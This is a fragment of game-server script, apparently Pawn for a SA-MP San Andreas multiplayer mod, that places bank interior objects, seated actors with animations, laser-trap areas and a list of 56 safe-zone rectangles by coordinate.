CreateDynamicObject(1283 , 1446.120483 , 1337.791992 , 1499.973022 , 0.000000 , 0.000000 , -90.000000, 25, 63, -1, 200.00);
CreateDynamicObject(1283 , 1435.696777 , 1346.697998 , 1499.973022 , 0.000000 , 0.000000 , 180.000000, 25, 63, -1, 200.00);
CreateDynamicObject(729 , 1480.631836 , 1438.663696 , 1496.861938 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(729 , 1457.538208 , 1422.303101 , 1496.861938 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(729 , 1520.049438 , 1447.820923 , 1496.861938 , 0.000000 , 0.000000 , 0.000000, 25, 63, -1, 200.00);
CreateDynamicObject(762 , 1508.089844 , 1447.844604 , 1502.164063 , 0.000000 , 0.000000 , 71.279991);
CreateDynamicObject(4718 , 1538.135498 , 1591.905029 , 1517.184082 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
BankMapLS = CreateDynamicObject(4600 , 1392.545410 , 1309.930786 , 1508.624512 , 0.000000 , 0.000000 , 90.000000, 25, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLS , 1 , 65535 , "none" , "none" , 16777215);
BankMapLSActor1 = CreateDynamicActor(187, 1396.454956, 1328.017944, 1501.090698, 202.009995, true, 100.0, 25, 63, -1, 200.00);
BankMapLSActor2 = CreateDynamicActor(188, 1396.443115, 1322.271240, 1501.092773, 202.009995, true, 100.0, 25, 63, -1, 200.00);
BankMapLSActor3 = CreateDynamicActor(141, 1401.232300, 1322.000000, 1501.090698, 163.500000, true, 100.0, 25, 63, -1, 200.00);
BankMapLSActor4 = CreateDynamicActor(170, 1403.118286, 1322.000000, 1501.090698, 163.500000, true, 100.0, 25, 63, -1, 200.00);
BankMapLSActor5 = CreateDynamicActor(269, 1407.630859, 1322.000000, 1501.090698, 163.500000, true, 100.0, 25, 63, -1, 200.00);
BankMapLSActor6 = CreateDynamicActor(150, 1409.518311, 1322.000000, 1501.090698, 163.500000, true, 100.0, 25, 63, -1, 200.00);
CreateDynamicActor(306, 1392.990723, 1317.983887, 1501.085938, 270.000000, true, 100.0, 25, 63, -1, 200.00);
BankMapLSActor8 = CreateDynamicActor(12,  1396.071777, 1320.557861, 1501.090698, 343.904297, true, 100.0, 25, 63, -1, 200.00);
BankMapLSActor9 = CreateDynamicActor(299, 1397.126709, 1320.541870, 1501.090698, 17.548201 , true, 100.0, 25, 63, -1, 200.00);

ApplyDynamicActorAnimation(BankMapLSActor1, "MISC","SEAT_watch",4.0,1,0,0,0,0);
ApplyDynamicActorAnimation(BankMapLSActor2, "MISC","SEAT_LR",4.0,1,0,0,0,0);
ApplyDynamicActorAnimation(BankMapLSActor3, "PED","SEAT_down",3.0,0,1,1,1,0);
ApplyDynamicActorAnimation(BankMapLSActor4, "INT_OFFICE","OFF_Sit_Type_Loop",4.0,1,0,0,0,0);
ApplyDynamicActorAnimation(BankMapLSActor5, "INT_OFFICE","OFF_Sit_Type_Loop",4.0,1,0,0,0,0);
ApplyDynamicActorAnimation(BankMapLSActor6, "INT_OFFICE","OFF_Sit_Type_Loop",4.0,1,0,0,0,0);
ApplyDynamicActorAnimation(BankMapLSActor8, "MISC","Seat_talk_01",4.0,1,0,0,0,0);
ApplyDynamicActorAnimation(BankMapLSActor9, "MISC","Seat_talk_02",4.0,1,0,0,0,0);
AreaGirBede = CreateDynamicRectangle(1397.225463, 1328.866577, 1392.250854, 1316.216674, 25, 63);
AreaGirBede2 = CreateDynamicRectangle(1397.225463, 1328.866577, 1392.250854, 1316.216674, 26, 63);
PrisonArea = CreateDynamicRectangle(-1127.0, -757.0, -974.0, -589.0, 0, 0);
BetShopArea = CreateDynamicRectangle(2323.473144, -1983.884155, 2303.447998, -2001.701660, 0, 0);
// SafeZones
SafeZoneArea[0] = GangZoneCreate(1394.000000, -1051.000000, 1519.000000, -1007.000000);
SafeZoneArea[1] = GangZoneCreate(1396.000000, -1839.000000, 1564.000000, -1728.000000);
SafeZoneArea[2] = GangZoneCreate(1518.000000, -1720.000000, 1581.000000, -1630.000000);
SafeZoneArea[3] = GangZoneCreate(1346.000000, -2381.000000, 1835.000000, -2189.000000);
SafeZoneArea[4] = GangZoneCreate(1583.000000, -2189.000000, 1678.000000, -2145.000000);
SafeZoneArea[5] = GangZoneCreate(1745.000000, -1614.000000, 1828.000000, -1530.000000);
SafeZoneArea[6] = GangZoneCreate(281.000000, -1569.000000, 328.000000, -1523.000000);
SafeZoneArea[7] = GangZoneCreate(297.000000, -1553.000000, 339.000000, -1510.000000);
SafeZoneArea[8] = GangZoneCreate(309.000000, -1529.000000, 354.000000, -1487.000000);
SafeZoneArea[9] = GangZoneCreate(332.000000, -1510.000000, 375.000000, -1464.000000);
SafeZoneArea[10] = GangZoneCreate(1283.000000, -1394.000000, 1336.000000, -1286.000000);
SafeZoneArea[11] = GangZoneCreate(2652.000000, -1880.000000, 2834.000000, -1665.000000);
SafeZoneArea[12] = GangZoneCreate(329.000000, -2101.000000, 429.000000, -2001.000000);
SafeZoneArea[13] = GangZoneCreate(2089.000000, -2000.000000, 2205.000000, -1956.000000);
SafeZoneArea[14] = GangZoneCreate(2105.000000, -2038.000000, 2209.000000, -2000.000000);
SafeZoneArea[15] = GangZoneCreate(1698.000000, -2077.000000, 1811.000000, -2008.000000);
SafeZoneArea[16] = GangZoneCreate(1830.000000, -1882.000000, 1858.000000, -1857.000000);
SafeZoneArea[17] = GangZoneCreate(1751.000000, -1189.000000, 1827.000000, -1144.000000);
SafeZoneArea[18] = GangZoneCreate(1047.000000, -1843.000000, 1165.000000, -1724.000000);
SafeZoneArea[19] = GangZoneCreate(973.000000, -1048.000000, 1073.000000, -1009.000000);
SafeZoneArea[20] = GangZoneCreate(2621.000000, -2043.000000, 2661.000000, -2003.000000);
SafeZoneArea[21] = GangZoneCreate(978.000000, -959.000000, 1022.000000, -929.000000);
SafeZoneArea[22] = GangZoneCreate(512.000000, -1319.000000, 574.000000, -1283.000000);
SafeZoneArea[23] = GangZoneCreate(2453.000000, 899.000000, 2537.000000, 945.000000);
SafeZoneArea[24] = GangZoneCreate(2531.000000, 1307.000000, 2621.000000, 1366.000000);
SafeZoneArea[25] = GangZoneCreate(2566.000000, 1063.000000, 2657.000000, 1152.000000);
SafeZoneArea[26] = GangZoneCreate(2038.000000, 2030.000000, 2106.000000, 2062.000000);
SafeZoneArea[27] = GangZoneCreate(1745.000000, 794.000000, 1845.000000, 894.000000);
SafeZoneArea[28] = GangZoneCreate(2238.000000, 2408.000000, 2355.000000, 2503.000000);
SafeZoneArea[29] = GangZoneCreate(-87.000000, 2427.000000, 454.000000, 2561.000000);
SafeZoneArea[30] = GangZoneCreate(1900.000000, -1803.000000, 1958.000000, -1758.000000);
SafeZoneArea[31] = GangZoneCreate(-1161.000000, -1331.000000, -1005.000000, -1143.000000);
SafeZoneArea[32] = GangZoneCreate(-418.000000, -1475.000000, -351.000000, -1397.000000);
SafeZoneArea[33] = GangZoneCreate(-160.000000, -1208.000000, -21.000000, -1091.000000);
SafeZoneArea[34] = GangZoneCreate(1574.000000, 560.000000, 1671.000000, 646.000000);
SafeZoneArea[35] = GangZoneCreate(2083.000000, 1377.000000, 2238.000000, 1526.000000);
SafeZoneArea[36] = GangZoneCreate(2352.000000, 954.000000, 2419.000000, 1063.000000);
SafeZoneArea[37] = GangZoneCreate(2366.000000, 1472.000000, 2427.000000, 1531.000000);
SafeZoneArea[38] = GangZoneCreate(1574.000000, 2181.000000, 1674.000000, 2243.000000);
SafeZoneArea[39] = GangZoneCreate(2092.000000, 874.000000, 2140.000000, 966.000000);
SafeZoneArea[40] = GangZoneCreate(2155.000000, 2459.000000, 2217.000000, 2487.000000);
SafeZoneArea[41] = GangZoneCreate(671.000000, -483.000000, 723.000000, -437.000000);
SafeZoneArea[42] = GangZoneCreate(644.000000, -598.000000, 677.000000, -533.000000);
SafeZoneArea[43] = GangZoneCreate(2039.000000, -1847.000000, 2087.000000, -1816.000000);
SafeZoneArea[44] = GangZoneCreate(472.000000, -1754.000000, 523.000000, -1717.000000);
SafeZoneArea[45] = GangZoneCreate(-1723.000000, 364.000000, -1645.000000, 429.000000);
SafeZoneArea[46] = GangZoneCreate(-1700.000000, 394.000000, -1629.000000, 464.000000);
SafeZoneArea[47] = GangZoneCreate(-2728.000000, 200.000000, -2700.000000, 252.000000);
SafeZoneArea[48] = GangZoneCreate(-2063.000000, 72.000000, -1919.000000, 210.000000);
SafeZoneArea[49] = GangZoneCreate(-1969.000000, 223.000000, -1918.000000, 263.000000);
SafeZoneArea[50] = GangZoneCreate(-1926.000000, 263.000000, -1885.000000, 305.000000);
SafeZoneArea[51] = GangZoneCreate(2775.000000, -2366.000000, 2816.000000, -2330.000000);
SafeZoneArea[52] = GangZoneCreate(533.000000, -1283.000000, 580.000000, -1260.000000);
SafeZoneArea[53] = GangZoneCreate(1323.000000, -1072.000000, 1392.000000, -1003.000000);
SafeZoneArea[54] = GangZoneCreate(1324.000000, -1011.000000, 1351.000000, -962.000000);
SafeZoneArea[55] = GangZoneCreate(1358.000000, -1379.000000, 1394.000000, -1255.000000);
// ---------
SafeZoneAreaRect[0] = CreateDynamicRectangle(1394.000000, -1051.000000, 1519.000000, -1007.000000, -1, 0);
SafeZoneAreaRect[1] = CreateDynamicRectangle(1396.000000, -1839.000000, 1564.000000, -1728.000000, -1, 0);
SafeZoneAreaRect[2] = CreateDynamicRectangle(1518.000000, -1720.000000, 1581.000000, -1630.000000, -1, 0);
SafeZoneAreaRect[3] = CreateDynamicRectangle(1346.000000, -2381.000000, 1835.000000, -2189.000000, -1, 0);
SafeZoneAreaRect[4] = CreateDynamicRectangle(1583.000000, -2189.000000, 1678.000000, -2145.000000, -1, 0);
SafeZoneAreaRect[5] = CreateDynamicRectangle(1745.000000, -1614.000000, 1828.000000, -1530.000000, -1, 0);
SafeZoneAreaRect[6] = CreateDynamicRectangle(281.000000, -1569.000000, 328.000000, -1523.000000, -1, 0);
SafeZoneAreaRect[7] = CreateDynamicRectangle(297.000000, -1553.000000, 339.000000, -1510.000000, -1, 0);
SafeZoneAreaRect[8] = CreateDynamicRectangle(309.000000, -1529.000000, 354.000000, -1487.000000, -1, 0);
SafeZoneAreaRect[9] = CreateDynamicRectangle(332.000000, -1510.000000, 375.000000, -1464.000000, -1, 0);
SafeZoneAreaRect[10] = CreateDynamicRectangle(1283.000000, -1394.000000, 1336.000000, -1286.000000, -1, 0);
SafeZoneAreaRect[11] = CreateDynamicRectangle(2652.000000, -1880.000000, 2834.000000, -1665.000000, -1, 0);
SafeZoneAreaRect[12] = CreateDynamicRectangle(329.000000, -2101.000000, 429.000000, -2001.000000, -1, 0);
SafeZoneAreaRect[13] = CreateDynamicRectangle(2089.000000, -2000.000000, 2205.000000, -1956.000000, -1, 0);
SafeZoneAreaRect[14] = CreateDynamicRectangle(2105.000000, -2038.000000, 2209.000000, -2000.000000, -1, 0);
SafeZoneAreaRect[15] = CreateDynamicRectangle(1698.000000, -2077.000000, 1811.000000, -2008.000000, -1, 0);
SafeZoneAreaRect[16] = CreateDynamicRectangle(1830.000000, -1882.000000, 1858.000000, -1857.000000, -1, 0);
SafeZoneAreaRect[17] = CreateDynamicRectangle(1751.000000, -1189.000000, 1827.000000, -1144.000000, -1, 0);
SafeZoneAreaRect[18] = CreateDynamicRectangle(1047.000000, -1843.000000, 1165.000000, -1724.000000, -1, 0);
SafeZoneAreaRect[19] = CreateDynamicRectangle(973.000000, -1048.000000, 1073.000000, -1009.000000, -1, 0);
SafeZoneAreaRect[20] = CreateDynamicRectangle(2621.000000, -2043.000000, 2661.000000, -2003.000000, -1, 0);
SafeZoneAreaRect[21] = CreateDynamicRectangle(978.000000, -959.000000, 1022.000000, -929.000000, -1, 0);
SafeZoneAreaRect[22] = CreateDynamicRectangle(512.000000, -1319.000000, 574.000000, -1283.000000, -1, 0);
SafeZoneAreaRect[23] = CreateDynamicRectangle(2453.000000, 899.000000, 2537.000000, 945.000000, -1, 0);
SafeZoneAreaRect[24] = CreateDynamicRectangle(2531.000000, 1307.000000, 2621.000000, 1366.000000, -1, 0);
SafeZoneAreaRect[25] = CreateDynamicRectangle(2566.000000, 1063.000000, 2657.000000, 1152.000000, -1, 0);
SafeZoneAreaRect[26] = CreateDynamicRectangle(2038.000000, 2030.000000, 2106.000000, 2062.000000, -1, 0);
SafeZoneAreaRect[27] = CreateDynamicRectangle(1745.000000, 794.000000, 1845.000000, 894.000000, -1, 0);
SafeZoneAreaRect[28] = CreateDynamicRectangle(2238.000000, 2408.000000, 2355.000000, 2503.000000, -1, 0);
SafeZoneAreaRect[29] = CreateDynamicRectangle(-87.000000, 2427.000000, 454.000000, 2561.000000, -1, 0);
SafeZoneAreaRect[30] = CreateDynamicRectangle(1900.000000, -1803.000000, 1958.000000, -1758.000000, -1, 0);
SafeZoneAreaRect[31] = CreateDynamicRectangle(-1161.000000, -1331.000000, -1005.000000, -1143.000000, -1, 0);
SafeZoneAreaRect[32] = CreateDynamicRectangle(-418.000000, -1475.000000, -351.000000, -1397.000000, -1, 0);
SafeZoneAreaRect[33] = CreateDynamicRectangle(-160.000000, -1208.000000, -21.000000, -1091.000000, -1, 0);
SafeZoneAreaRect[34] = CreateDynamicRectangle(1574.000000, 560.000000, 1671.000000, 646.000000, -1, 0);
SafeZoneAreaRect[35] = CreateDynamicRectangle(2083.000000, 1377.000000, 2238.000000, 1526.000000, -1, 0);
SafeZoneAreaRect[36] = CreateDynamicRectangle(2352.000000, 954.000000, 2419.000000, 1063.000000, -1, 0);
SafeZoneAreaRect[37] = CreateDynamicRectangle(2366.000000, 1472.000000, 2427.000000, 1531.000000, -1, 0);
SafeZoneAreaRect[38] = CreateDynamicRectangle(1574.000000, 2181.000000, 1674.000000, 2243.000000, -1, 0);
SafeZoneAreaRect[39] = CreateDynamicRectangle(2092.000000, 874.000000, 2140.000000, 966.000000, -1, 0);
SafeZoneAreaRect[40] = CreateDynamicRectangle(2155.000000, 2459.000000, 2217.000000, 2487.000000, -1, 0);
SafeZoneAreaRect[41] = CreateDynamicRectangle(671.000000, -483.000000, 723.000000, -437.000000, -1, 0);
SafeZoneAreaRect[42] = CreateDynamicRectangle(644.000000, -598.000000, 677.000000, -533.000000, -1, 0);
SafeZoneAreaRect[43] = CreateDynamicRectangle(2039.000000, -1847.000000, 2087.000000, -1816.000000, -1, 0);
SafeZoneAreaRect[44] = CreateDynamicRectangle(472.000000, -1754.000000, 523.000000, -1717.000000, -1, 0);
SafeZoneAreaRect[45] = CreateDynamicRectangle(-1723.000000, 364.000000, -1645.000000, 429.000000, -1, 0);
SafeZoneAreaRect[46] = CreateDynamicRectangle(-1700.000000, 394.000000, -1629.000000, 464.000000, -1, 0);
SafeZoneAreaRect[47] = CreateDynamicRectangle(-2728.000000, 200.000000, -2700.000000, 252.000000, -1, 0);
SafeZoneAreaRect[48] = CreateDynamicRectangle(-2063.000000, 72.000000, -1919.000000, 210.000000, -1, 0);
SafeZoneAreaRect[49] = CreateDynamicRectangle(-1969.000000, 223.000000, -1918.000000, 263.000000, -1, 0);
SafeZoneAreaRect[50] = CreateDynamicRectangle(-1926.000000, 263.000000, -1885.000000, 305.000000, -1, 0);
SafeZoneAreaRect[51] = CreateDynamicRectangle(2775.000000, -2366.000000, 2816.000000, -2330.000000, -1, 0);
SafeZoneAreaRect[52] = CreateDynamicRectangle(533.000000, -1283.000000, 580.000000, -1260.000000, -1, 0);
SafeZoneAreaRect[53] = CreateDynamicRectangle(1323.000000, -1072.000000, 1392.000000, -1003.000000, -1, 0);
SafeZoneAreaRect[54] = CreateDynamicRectangle(1324.000000, -1011.000000, 1351.000000, -962.000000, -1, 0);
SafeZoneAreaRect[55] = CreateDynamicRectangle(1358.000000, -1379.000000, 1394.000000, -1255.000000, -1, 0);
//-----------

CreateDynamicObject(3095, 1398.06787, 1331.71008, 1489.47571,   -270.90012, 540.29999, 181.13994);
CreateDynamicObject(3095, 1406.22058, 1331.96069, 1489.47571,   -270.90012, 540.29999, 181.13994);
CreateDynamicObject(3095, 1410.05591, 1332.04773, 1489.47571,   -270.90012, 540.29999, 181.13994);
CreateDynamicObject(3095, 1398.48523, 1342.94897, 1489.60474,   -270.90012, 540.29999, 360.89987);
CreateDynamicObject(3095, 1407.20007, 1343.13428, 1489.60474,   -270.90012, 540.29999, 360.89987);
CreateDynamicObject(3095, 1410.15063, 1343.18335, 1489.60474,   -270.90012, 540.29999, 360.89987);
BankGate2 = CreateDynamicObject(980, 1394.32825, 1337.39221, 1490.78796,   0.00000, 0.00000, 90.30002, 26, 63, -1, 200.00);
CreateDynamicObject(1649, 1414.51038, 1337.65698, 1490.30554,   0.00000, 0.00000, 269.15988, 26, 63, -1, 200.00);
CreateDynamicObject(19618, 1430.39575, 1340.28345, 1489.12732,   0.00000, 0.00000, 269.70020, 26, 63, -1, 200.00);
CreateDynamicObject(2005, 1430.39429, 1340.28845, 1489.01062,   0.00000, 0.00000, -91.31999, 26, 63, -1, 200.00);
CreateDynamicObject(19618, 1430.43921, 1338.76807, 1489.12732,   0.00000, 0.00000, 269.70020, 26, 63, -1, 200.00);
CreateDynamicObject(2005, 1430.43433, 1338.74500, 1489.01062,   0.00000, 0.00000, -91.31999, 26, 63, -1, 200.00);
CreateDynamicObject(19618, 1430.42651, 1336.58728, 1489.12732,   0.00000, 0.00000, 269.70020, 26, 63, -1, 200.00);
CreateDynamicObject(2005, 1430.43884, 1336.59790, 1489.01062,   0.00000, 0.00000, -91.31999, 26, 63, -1, 200.00);
CreateDynamicObject(19618, 1430.43665, 1335.01013, 1489.12732,   0.00000, 0.00000, 269.70020, 26, 63, -1, 200.00);
CreateDynamicObject(2005, 1430.56750, 1335.04810, 1489.01062,   0.00000, 0.00000, -91.31999, 26, 63, -1, 200.00);
CreateDynamicObject(18643, 1403.55847, 1343.40991, 1488.90479,   0.00000, 0.00000, -90.23997, 26, 63, -1, 200.00);
CreateDynamicObject(18643, 1403.55847, 1343.40991, 1488.98462,   0.00000, 0.00000, -90.23997, 26, 63, -1, 200.00);
CreateDynamicObject(18643, 1403.55847, 1343.40991, 1489.06458,   0.00000, 0.00000, -90.23997, 26, 63, -1, 200.00);
CreateDynamicObject(18643, 1403.55847, 1343.40991, 1489.15759,   0.00000, 0.00000, -90.23997, 26, 63, -1, 200.00);
CreateDynamicObject(18643, 1403.55847, 1343.40991, 1489.23718,   0.00000, 0.00000, -90.23997, 26, 63, -1, 200.00);




BankGate1 = CreateDynamicObject(980, 1394.32825, 1337.39221, 1490.78796,   0.00000, 0.00000, 90.30002, 25, 63, -1, 200.00);
CreateDynamicObject(1649, 1414.51038, 1337.65698, 1490.30554,   0.00000, 0.00000, 269.15988, 25, 63, -1, 200.00);
CreateDynamicObject(19618, 1430.39575, 1340.28345, 1489.12732,   0.00000, 0.00000, 269.70020, 25, 63, -1, 200.00);
CreateDynamicObject(2005, 1430.39429, 1340.28845, 1489.01062,   0.00000, 0.00000, -91.31999, 25, 63, -1, 200.00);
CreateDynamicObject(19618, 1430.43921, 1338.76807, 1489.12732,   0.00000, 0.00000, 269.70020, 25, 63, -1, 200.00);
CreateDynamicObject(2005, 1430.43433, 1338.74500, 1489.01062,   0.00000, 0.00000, -91.31999, 25, 63, -1, 200.00);
CreateDynamicObject(19618, 1430.42651, 1336.58728, 1489.12732,   0.00000, 0.00000, 269.70020, 25, 63, -1, 200.00);
CreateDynamicObject(2005, 1430.43884, 1336.59790, 1489.01062,   0.00000, 0.00000, -91.31999, 25, 63, -1, 200.00);
CreateDynamicObject(19618, 1430.43665, 1335.01013, 1489.12732,   0.00000, 0.00000, 269.70020, 25, 63, -1, 200.00);
CreateDynamicObject(2005, 1430.56750, 1335.04810, 1489.01062,   0.00000, 0.00000, -91.31999, 25, 63, -1, 200.00);
CreateDynamicObject(18643, 1403.55847, 1343.40991, 1488.90479,   0.00000, 0.00000, -90.23997, 25, 63, -1, 200.00);
CreateDynamicObject(18643, 1403.55847, 1343.40991, 1488.98462,   0.00000, 0.00000, -90.23997, 25, 63, -1, 200.00);
CreateDynamicObject(18643, 1403.55847, 1343.40991, 1489.06458,   0.00000, 0.00000, -90.23997, 25, 63, -1, 200.00);
CreateDynamicObject(18643, 1403.55847, 1343.40991, 1489.15759,   0.00000, 0.00000, -90.23997, 25, 63, -1, 200.00);
CreateDynamicObject(18643, 1403.55847, 1343.40991, 1489.23718,   0.00000, 0.00000, -90.23997, 25, 63, -1, 200.00);
AreaLaser1 = CreateDynamicCuboid(1403.431274, 1332.246826, 1489.750000, 1403.904296, 1342.729248, 1490.300000, 25, 63);
AreaLaser2 = CreateDynamicCuboid(1403.431274, 1332.246826, 1489.750000, 1403.904296, 1342.729248, 1490.300000, 26, 63);
BankMapLV = CreateDynamicObject(1566 , 1412.687744 , 1315.844727 , 1501.100342 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 19325 , "lsmall_shops" , "lsmall_window01" , 0);
BankMapLV = CreateDynamicObject(1566 , 1412.687744 , 1314.261963 , 1501.100342 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 19325 , "lsmall_shops" , "lsmall_window01" , 0);
BankMapLV = CreateDynamicObject(1854 , 1412.675415 , 1315.820801 , 1502.666870 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 2360 , "shopping_acc" , "white" , -16776961);
SetDynamicObjectMaterial(BankMapLV , 0 , 2360 , "shopping_acc" , "white" , -16711936);
SetDynamicObjectMaterial(BankMapLV , 0 , 2360 , "shopping_acc" , "white" , -16776961);
SetDynamicObjectMaterial(BankMapLV , 0 , 2360 , "shopping_acc" , "white" , -16711936);
BankMapLV = CreateDynamicObject(19377 , 1397.054443 , 1320.608643 , 1500.000000 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -1);
BankMapLV = CreateDynamicObject(19377 , 1402.863647 , 1310.978149 , 1499.998047 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -1);
BankMapLV = CreateDynamicObject(19377 , 1407.384155 , 1320.600708 , 1499.998047 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -1);
BankMapLV = CreateDynamicObject(19377 , 1407.384644 , 1310.978760 , 1500.001953 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -1);
BankMapLV = CreateDynamicObject(19377 , 1392.752686 , 1330.161499 , 1500.001953 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -1);
BankMapLV = CreateDynamicObject(14407 , 1395.546753 , 1314.594604 , 1496.879639 , 0.000000 , 0.000000 , 90.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -10329502);
BankMapLV = CreateDynamicObject(19377 , 1392.391724 , 1314.380127 , 1497.027466 , 0.000000 , 90.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10938 , "skyscrap_sfse" , "concpanel_la" , -10329502);
BankMapLV = CreateDynamicObject(2229 , 1409.877441 , 1320.262939 , 1500.076294 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(2229 , 1410.491699 , 1321.155518 , 1500.078247 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(2229 , 1410.491333 , 1321.591064 , 1500.076172 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(2229 , 1407.953369 , 1320.262939 , 1500.076294 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(2229 , 1408.567627 , 1321.155518 , 1500.078247 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(2229 , 1406.029419 , 1320.262939 , 1500.076294 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(2229 , 1406.643555 , 1321.155518 , 1500.078247 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(2229 , 1406.643311 , 1321.591064 , 1500.076172 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(2229 , 1403.624390 , 1320.262939 , 1500.076294 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(2229 , 1404.238647 , 1321.155518 , 1500.078247 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(2229 , 1404.235474 , 1321.610840 , 1500.076172 , 0.000000 , 0.000000 , 0.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
BankMapLV = CreateDynamicObject(2229 , 1401.700439 , 1320.262939 , 1500.076294 , 0.000000 , 0.000000 , 180.000000, 26, 63, -1, 200.00);
SetDynamicObjectMaterial(BankMapLV , 0 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
SetDynamicObjectMaterial(BankMapLV , 1 , 10226 , "sfeship1" , "CJ_WOOD5" , -12566464);
